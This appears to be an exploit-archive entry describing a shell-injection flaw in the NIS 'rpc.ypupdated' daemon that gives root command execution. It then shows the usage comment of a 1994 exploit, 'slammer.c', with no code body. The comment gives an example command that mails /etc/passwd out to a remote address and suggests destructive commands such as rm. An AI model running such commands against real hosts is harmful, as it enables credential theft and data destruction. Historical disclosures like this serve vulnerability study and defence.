HP-UX 10.x/11.x,IRIX 3.x/4.x/5.x/6.x,OpenSolaris build snv,Solaris 8/9/10,SunOS 4.1.x RPC.YPUpdated Command Execution (1)

The 'rpc.ypupdated' deamon is part of the Network Information Service (NIS) or Yellow Pages (YP). It allows clients to update NIS maps. A vulnerability in 'rpc.ypupdated' allows a malicious user to execute commands as root.

After receiving a request to update the Yello Pages maps, 'ypupdated' executes a copy of the bource shell to run the 'make' command to recompute the maps whether the request for changes was sucessful or not. Because of bad input validation while executing 'make', an attacker can pass shell metacharacters to the shell and can execute commands.

This is issue is tracked by Sun BugIDs 1230027 and 1232146.

/* slammer.c
 *    By Josh D. February 7th 1994 AD
 *    usage slammer target "cmd arg1 arg2 agr3 ....."
 *    the target must be running ypupdated
 *    keyserv, and ypbind MUST be running, if they aren't see README.
 *    this program is built to run on a sunOS 4.1.X machine, running
 *    it on anything else will probably cause a linker error or a core dump
 *    if the program core dumps on a sunos 4.1.X someone has given you
 *    a broken copy or your local machine is not setup correctly (see
 *    README)
 *    caveat: your command will be exec'd on the receiving end of a pipe
 *    so redirecting stdin will cause the input file to be zero'd
 *    example: slammer joe.target.com "mail [10]me@mysite.com < /etc/passwd"
 *    will not only not work, but will also zero the passwd file
 *    solution: use only non-interactive commands, e.g. rm, cp, chmod, mv, etc.
 *    -SW
